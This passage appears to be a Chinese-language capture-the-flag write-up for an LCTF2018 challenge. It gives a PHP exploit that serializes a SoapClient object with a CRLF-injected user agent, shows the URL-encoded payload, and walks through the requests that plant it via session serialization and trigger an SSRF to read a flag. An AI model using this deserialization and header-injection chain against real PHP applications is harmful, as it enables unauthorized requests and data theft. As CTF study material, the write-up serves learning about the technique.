以及CRLF
漏洞进行SSRF
首先构造一个调用 SoapClient
原生类进行 SSRF 的 exp
1 2 3 4 5 6 7 8 <?php $target ='http://127.0.0.1/flag.php' ;$b = new SoapClient (null ,array ('location' => $target , 'user_agent' => "\r\nCookie:PHPSESSID=123456\r\n" , 'uri' => "http://127.0.0.1/" )); $se = serialize ($b );echo "|" .urlencode ($se );
1 |O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A27%3A%22%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
发包,GET 传 f=session_start
name=上面url编码的数据
POST 传 serialize_handler=php_serialize
这样就成功把 payload 写入 session 了
接下来就是要触发这个 SoapClient
接着发包,GET 传 f=extract
name=SoapClient
POST 传 b=call_user_func
那么这样call_user_func($b, $a);
就变成了call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’))
因为call_user_func是接受数组的,数组的第一个是函数,第二个是参数,那么这里就会把SoapClient当作回调函数,那么welcome_to_the_lctf2018就会被当作一个参数,那么这样的话SoapClient就会去调用一个不存在的welcome_to_the_lctf2018方法从而去触发__call方法发起请求进行SSRF
最后只要将Cookie里面的 PHPSESSID 的值换成我们刚才传入的123456,就可以得到 flag